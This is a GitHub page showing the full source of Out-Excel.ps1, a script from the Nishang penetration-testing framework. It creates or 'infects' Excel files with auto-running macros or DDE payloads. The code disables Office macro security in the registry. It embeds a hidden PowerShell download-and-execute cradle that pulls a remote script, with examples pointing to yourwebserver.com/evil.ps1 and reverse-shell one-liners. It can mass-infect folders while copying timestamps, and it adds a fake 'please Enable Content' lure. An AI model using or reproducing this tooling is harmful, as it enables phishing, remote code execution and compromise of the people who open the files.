-
Notifications
You must be signed in to change notification settings - Fork 2.4k
/
Out-Excel.ps1
513 lines (408 loc) · 18.7 KB
/
Out-Excel.ps1
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
function Out-Excel
{
<#
.SYNOPSIS
Nishang Script which can generate and "infect" existing excel files with an auto executable macro or DDE.
.DESCRIPTION
The script can create as well as "infect" existing excel files with an auto executable macro or DDE. Powershell or other payloads
could be exeucted using the genereated files. If path to a folder is passed to the script it can insert the payload in all existing excel
files in the folder. With the Recurse switch, sub-folders can also be included.
For existing files, a new macro or DDE enabled excel file is generated from a xlsx file and for existing .xls files, the payload is inserted.
LastWriteTime of the xlsx file is set to the newly generated xls file. If the RemoveXlsx switch is enabled, the
original xlsx is removed and the data in it is lost.
When a weapnoized Excel file is generated, it contains a template to trick the target user in enabling content.
.PARAMETER Payload
Payload which you want to execute on the target.
.PARAMETER PayloadURL
URL of the powershell script which would be executed on the target.
.PARAMETER PayloadScript
Path to a PowerShell script on local machine.
Note that if the script expects any parameter passed to it, you must pass the parameters in the script itself.
.PARAMETER Arguments
Arguments to the powershell script to be executed on the target. To be used with PayloadURL parameter.
.PARAMETER ExcelFileDir
The directory which contains MS Excel files which are to be "infected".
.PARAMETER OutputFile
The path for the output Excel file. Default is Salary_Details.xls in the current directory.
.PARAMETER Recurse
Recursively look for Excel files in the ExcelFileDir
.PARAMETER Removexlsx
When using the ExcelFileDir to "infect" files in a directory, remove the original ones after creating the infected ones.
.PARAMETER RemainSafe
Use this switch to turn on Macro Security on your machine after using Out-Excel.
.EXAMPLE
PS > Out-Excel -Payload "powershell.exe -ExecutionPolicy Bypass -noprofile -noexit -c Get-Process" -RemainSafe
Use above command to provide your own payload to be executed from macro. A file named "Salary_Details.xls" would be generated
in the current directory.
.EXAMPLE
PS > Out-Excel -PayloadScript C:\nishang\Shells\Invoke-PowerShellTcpOneLine.ps1
Use above when you want to use a PowerShell script as the payload. Note that if the script expects any parameter passed to it,
you must pass the parameters in the script itself. A file named "Salary_Details.xls" would be generated in the
current directory with the script used as encoded payload.
.EXAMPLE
PS > Out-Excel -PayloadURL http://yourwebserver.com/evil.ps1
Use above when you want to use the default payload, which is a powershell download and execute one-liner. A file
named "Salary_Details.xls" would be generated in the current directory.
.EXAMPLE
PS > Out-Excel -PayloadURL http://yourwebserver.com/evil.ps1 -Arguments Evil
Use above when you want to use the default payload, which is a powershell download and execute one-liner.
The Arugment parameter allows to pass arguments to the downloaded script.
.EXAMPLE
PS > Out-Excel -PayloadURL http://yourwebserver.com/Powerpreter.psm1 -Arguments "Invoke-PsUACMe;Get-WLAN-Keys"
Use above for multiple payloads. The idea is to use a script or module as payload which loads multiple functions.
.EXAMPLE
PS > Out-Excel -PayloadURL http://yourwebserver.com/evil.ps1 -OutputFile C:\xlsfiles\Generated.xls
In above, the output file would be saved to the given path.
.EXAMPLE
PS > Out-Excel -PayloadURL http://yourwebserver.com/evil.ps1 -ExcelFileDir C:\xlsfiles\
In above, in the C:\xlsfiles directory, macro enabled .xls files would be created for all the .xlsx files, with the same name
and same Last MOdified Time.
.EXAMPLE
PS > Out-Excel -PayloadURL http://yourwebserver.com/evil.ps1 -ExcelFileDir C:\xlsfiles\ -Recurse
The above command would search recursively for .xlsx files in C:\xlsfiles.
.EXAMPLE
PS > Out-Excel -PayloadURL http://yourwebserver.com/evil.ps1 -ExcelFileDir C:\xlsfiles\ -Recurse -Removexlsx
The above command would search recursively for .xlsx files in C:\xlsfiles, generate macro enabled .xls files and
delete the original files.
.EXAMPLE
PS > Out-Excel -PayloadURL http://yourwebserver.com/Invoke-PowerShellTcpOneLine.ps1 -DDE
Use above for DDE attack instead of macro to download and execute PowerShell script in memory.
.EXAMPLE
PS > Out-Excel -Payload "=cmd|'/c calc.exe'!A1" -DDE
Use above for custom payload with DDE.
.EXAMPLE
PS > Out-Excel -PayloadScript C:\test\cradle.ps1 -DDE
Use above to encode and use a script with DDE attack. Since only 255 characters are supported with
the DDE attack, this is mostly useful only for using encoded cradles.
.LINK
http://www.labofapenetrationtester.com/2014/11/powershell-for-client-side-attacks.html
https://github.com/samratashok/nishang
#>
[CmdletBinding(DefaultParameterSetName="None")] Param(
[Parameter(ParameterSetName="Macro",Position=0, Mandatory = $False)]
[String]
$Payload,
[Parameter(Position=1, Mandatory = $False)]
[String]
$PayloadURL,
[Parameter(Position=2, Mandatory = $False)]
[String]
$PayloadScript,
[Parameter(Position=3, Mandatory = $False)]
[String]
$Arguments,
[Parameter(ParameterSetName="DDE",Position=0, Mandatory = $False)]
[Switch]
$DDE,
[Parameter(ParameterSetName="DDE",Position=1, Mandatory = $False)]
[String]
$DDEPayload,
[Parameter(Position=6, Mandatory = $False)]
[String]
$ExcelFileDir,
[Parameter(Position=7, Mandatory = $False)]
[String]
$OutputFile="$pwd\Salary_Details.xls",
[Parameter(Position=8, Mandatory = $False)]
[Switch]
$Recurse,
[Parameter(Position=9, Mandatory = $False)]
[Switch]
$RemoveXlsx,
[Parameter(Position=10, Mandatory = $False)]
[Switch]
$RemainUnSafe
)
#http://stackoverflow.com/questions/21278760/how-to-add-vba-code-in-excel-worksheet-in-powershell
$Excel = New-Object -ComObject Excel.Application
$ExcelVersion = $Excel.Version
#Check for Office 2007 or Office 2003
if (($ExcelVersion -eq "12.0") -or ($ExcelVersion -eq "11.0"))
{
$Excel.DisplayAlerts = $False
}
else
{
$Excel.DisplayAlerts = "wdAlertsNone"
}
#Determine names for the Excel versions. To be used for the template generated for tricking the targets.
switch ($ExcelVersion)
{
"11.0" {$ExcelName = "2003"}
"12.0" {$ExcelName = "2007"}
"14.0" {$ExcelName = "2010"}
"15.0" {$ExcelName = "2013"}
"16.0" {$ExcelName = "2016"}
default {$ExcelName = ""}
}
#Turn off Macro Security
New-ItemProperty -Path "HKCU:\Software\Microsoft\Office\$ExcelVersion\excel\Security" -Name AccessVBOM -PropertyType DWORD -Value 1 -Force | Out-Null
New-ItemProperty -Path "HKCU:\Software\Microsoft\Office\$ExcelVersion\excel\Security" -Name VBAWarnings -PropertyType DWORD -Value 1 -Force | Out-Null
if(!$Payload -and !$DDEPayload)
{
#Download-Execute payload for DDE
# User prompt modification technique from https://null-byte.wonderhowto.com/how-to/exploit-dde-microsoft-office-defend-against-dde-based-attacks-0180706/
$DDEPayload = "=MSEXCEL|'\..\..\..\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -W Hidden -NoP iex(New-Object Net.WebClient).DownloadString(\""$PayloadURL\"");$Arguments'!H1"
#Download-Execute payload for Macro
$Payload = "powershell.exe -WindowStyle hidden -ExecutionPolicy Bypass -nologo -noprofile -c IEX ((New-Object Net.WebClient).DownloadString('$PayloadURL'));$Arguments"
}
if($PayloadScript)
{
#Logic to read, compress and Base64 encode the payload script.
$Enc = Get-Content $PayloadScript -Encoding Ascii
#Compression logic from http://www.darkoperator.com/blog/2013/3/21/powershell-basics-execution-policy-and-code-signing-part-2.html
$ms = New-Object IO.MemoryStream
$action = [IO.Compression.CompressionMode]::Compress
$cs = New-Object IO.Compression.DeflateStream ($ms,$action)
$sw = New-Object IO.StreamWriter ($cs, [Text.Encoding]::ASCII)
$Enc | ForEach-Object {$sw.WriteLine($_)}
$sw.Close()
# Base64 encode stream
$Compressed = [Convert]::ToBase64String($ms.ToArray())
$command = "Invoke-Expression `$(New-Object IO.StreamReader (" +
"`$(New-Object IO.Compression.DeflateStream (" +
"`$(New-Object IO.MemoryStream (,"+
"`$([Convert]::FromBase64String('$Compressed')))), " +
"[IO.Compression.CompressionMode]::Decompress)),"+
" [Text.Encoding]::ASCII)).ReadToEnd();"
#Generate Base64 encoded command to use with the powershell -encodedcommand paramter"
$UnicodeEncoder = New-Object System.Text.UnicodeEncoding
$EncScript = [Convert]::ToBase64String($UnicodeEncoder.GetBytes($command))
$DDEPayload = "=MSEXCEL|'\..\..\..\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -W Hidden -e $EncScript'!H1"
$DDEPayload | measure -Character
if ($DDE)
{
if ($DDEPayload.Length -ge 256)
{
Write-Warning "DDE Attack cannot have payload longer than 256 characters. Exiting..."
break
}
}
$Payload = "powershell.exe -WindowStyle hidden -nologo -noprofile -e $EncScript"
}
#Use line-continuation for longer payloads like encodedcommand or scripts.
#Though many Internet forums disagree, hit and trial shows 800 is the longest line length.
#There cannot be more than 25 lines in line-continuation.
$index = [math]::floor($Payload.Length/800)
if ($index -gt 25)
{
Write-Warning "Payload too big for VBA! Try a smaller payload."
break
}
$i = 0
$FinalPayload = ""
if ($Payload.Length -gt 800)
{
#Playing with the payload to fit in multiple lines in proper VBA syntax.
while ($i -lt $index )
{
$TempPayload = '"' + $Payload.Substring($i*800,800) + '"' + " _" + "`n"
#First iteration doesn't need the & symbol.
if ($i -eq 0)
{
$FinalPayload = $TempPayload
}
else
{
$FinalPayload = $FinalPayload + "& " + $TempPayload
}
$i +=1
}
$remainingindex = $Payload.Length%800
if ($remainingindex -ne 0)
{
$FinalPayload = $FinalPayload + "& " + '"' + $Payload.Substring($index*800, $remainingindex) + '"'
}
#Macro Code
#Macro code from here http://enigma0x3.wordpress.com/2014/01/11/using-a-powershell-payload-in-a-client-side-attack/
$CodeAuto = @"
Sub Auto_Open()
Execute
End Sub
Public Function Execute() As Variant
Const HIDDEN_WINDOW = 0
strComputer = "."
Set objWMIService = GetObject("winmgmts:\\" & strComputer & "\root\cimv2")
Set objStartup = objWMIService.Get("Win32_ProcessStartup")
Set objConfig = objStartup.SpawnInstance_
objConfig.ShowWindow = HIDDEN_WINDOW
Set objProcess = GetObject("winmgmts:\\" & strComputer & "\root\cimv2:Win32_Process")
objProcess.Create $FinalPayload, Null, objConfig, intProcessID
End Function
"@
$CodeWorkbook = @"
Sub Workbook_Open()
Execute
End Sub
Public Function Execute() As Variant
Const HIDDEN_WINDOW = 0
strComputer = "."
Set objWMIService = GetObject("winmgmts:\\" & strComputer & "\root\cimv2")
Set objStartup = objWMIService.Get("Win32_ProcessStartup")
Set objConfig = objStartup.SpawnInstance_
objConfig.ShowWindow = HIDDEN_WINDOW
Set objProcess = GetObject("winmgmts:\\" & strComputer & "\root\cimv2:Win32_Process")
objProcess.Create $FinalPayload, Null, objConfig, intProcessID
End Function
"@
}
#If the payload is small in size, there is no need of multiline macro.
else
{
# Escape double quotes. Useful for regsvr32 payloads where double quotes are used.
$FinalPayload = $Payload -replace '"','""'
$CodeAuto = @"
Sub Auto_Open()
Execute
End Sub
Public Function Execute() As Variant
Const HIDDEN_WINDOW = 0
strComputer = "."
Set objWMIService = GetObject("winmgmts:\\" & strComputer & "\root\cimv2")
Set objStartup = objWMIService.Get("Win32_ProcessStartup")
Set objConfig = objStartup.SpawnInstance_
objConfig.ShowWindow = HIDDEN_WINDOW
Set objProcess = GetObject("winmgmts:\\" & strComputer & "\root\cimv2:Win32_Process")
objProcess.Create "$FinalPayload", Null, objConfig, intProcessID
End Function
"@
$CodeWorkbook = @"
Sub Workbook_Open()
Execute
End Sub
Public Function Execute() As Variant
Const HIDDEN_WINDOW = 0
strComputer = "."
Set objWMIService = GetObject("winmgmts:\\" & strComputer & "\root\cimv2")
Set objStartup = objWMIService.Get("Win32_ProcessStartup")
Set objConfig = objStartup.SpawnInstance_
objConfig.ShowWindow = HIDDEN_WINDOW
Set objProcess = GetObject("winmgmts:\\" & strComputer & "\root\cimv2:Win32_Process")
objProcess.Create "$Payload", Null, objConfig, intProcessID
End Function
"@
}
if ($ExcelFileDir)
{
$ExcelFiles = Get-ChildItem $ExcelFileDir *.xlsx
if ($Recurse -eq $True)
{
$ExcelFiles = Get-ChildItem -Recurse $ExcelFileDir *.xlsx
}
ForEach ($ExcelFile in $ExcelFiles)
{
$Excel = New-Object -ComObject Excel.Application
$Excel.DisplayAlerts = $False
$WorkBook = $Excel.Workbooks.Open($ExcelFile.FullName)
$WorkSheet=$WorkBook.WorkSheets.item(1)
#Insert DDE Payload
if ($DDE)
{
Write-Verbose "Using the DDE technique for dir."
if(!$DDEPayload)
{
$WorkSheet.Cells.Item(50,50) = $Payload
}
else
{
$WorkSheet.Cells.Item(50,50) = $DDEPayload
}
}
else
{
Write-Verbose "Using auto-executable macro."
$ExcelModule = $WorkBook.VBProject.VBComponents.Item(1)
$ExcelModule.CodeModule.AddFromString($CodeWorkbook)
}
$Savepath = $ExcelFile.DirectoryName + "\" + $ExcelFile.BaseName + ".xls"
#Append .xls to the original file name if file extensions are hidden for known file types.
if ((Get-ItemProperty HKCU:\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced).HideFileExt -eq "1")
{
$Savepath = $ExcelFile.FullName + ".xls"
}
$WorkBook.Saveas($SavePath, 18)
Write-Output "Saved to file $SavePath"
$Excel.Workbooks.Close()
$LastModifyTime = $ExcelFile.LastWriteTime
$FinalDoc = Get-ChildItem $Savepath
$FinalDoc.LastWriteTime = $LastModifyTime
if ($RemoveXlsx -eq $True)
{
Write-Output "Deleting $($ExcelFile.FullName)"
Remove-Item -Path $ExcelFile.FullName
}
#Cleanup Excel COM
$Excel.Quit()
[System.GC]::Collect()
[System.GC]::WaitForPendingFinalizers()
[System.Runtime.Interopservices.Marshal]::ReleaseComObject($workSheet) | Out-Null
[System.Runtime.Interopservices.Marshal]::ReleaseComObject($Excel) | Out-Null
Remove-Variable -Name Excel
}
}
else
{
$WorkBook = $Excel.Workbooks.Add(1)
$WorkSheet=$WorkBook.WorkSheets.item(1)
$Excel.DisplayAlerts = $False
#Insert DDE Payload
if ($DDE)
{
Write-Verbose "Using the DDE technique."
if(!$DDEPayload)
{
$WorkSheet.Cells.Item(50,50) = $Payload
}
else
{
$WorkSheet.Cells.Item(50,50) = $DDEPayload
}
}
else
{
Write-Verbose "Using auto-executable macro."
$ExcelModule = $WorkBook.VBProject.VBComponents.Add(1)
$ExcelModule.CodeModule.AddFromString($CodeAuto)
}
#Add stuff to trick user in Enabling Content (running macros)
$LinkToFile = $False
$SaveWithDocument = $True
$Left = 48 * 2
$Top = 15 * 2
$Width =48 * 2
$Height = 15 * 4
$MSLogoPath = ".\microsoft-logo.jpg"
if (Test-Path $MSLogoPath)
{
$WorkSheet.Shapes.AddPicture((Resolve-Path $MSLogoPath), $LinkToFile, $SaveWithDocument,$Left, $Top, $Width, $Height) | Out-Null
}
$WorkSheet.Cells.Item(4,5).Font.Size = 32
$WorkSheet.Cells.Item(4,5) = "This document was edited in a"
$WorkSheet.Cells.Item(5,5).Font.Size = 32
$WorkSheet.Cells.Item(5,5) = "different version of Microsoft Excel."
$WorkSheet.Cells.Item(6,5).Font.Size = 32
$WorkSheet.Cells.Item(6,5) = "To load the document, "
$WorkSheet.Cells.Item(7,5).Font.Size = 36
$WorkSheet.Cells.Item(7,5) = "please Enable Content"
$WorkBook.SaveAs($OutputFile, 18)
Write-Output "Saved to file $OutputFile"
#Cleanup Excel COM
$Excel.Workbooks.Close()
$Excel.Quit()
[System.GC]::Collect()
[System.GC]::WaitForPendingFinalizers()
[System.Runtime.Interopservices.Marshal]::ReleaseComObject($workSheet) | Out-Null
[System.Runtime.Interopservices.Marshal]::ReleaseComObject($Excel) | Out-Null
Remove-Variable -Name Excel
}
if ($RemainUnSafe)
{
Write-Warning "RemainUnsafe selected. Not turning on Macro Security"
}
else
{
#Turn on Macro Security
New-ItemProperty -Path "HKCU:\Software\Microsoft\Office\$ExcelVersion\excel\Security" -Name AccessVBOM -Value 0 -Force | Out-Null
New-ItemProperty -Path "HKCU:\Software\Microsoft\Office\$ExcelVersion\excel\Security" -Name VBAWarnings -Value 0 -Force | Out-Null
}
}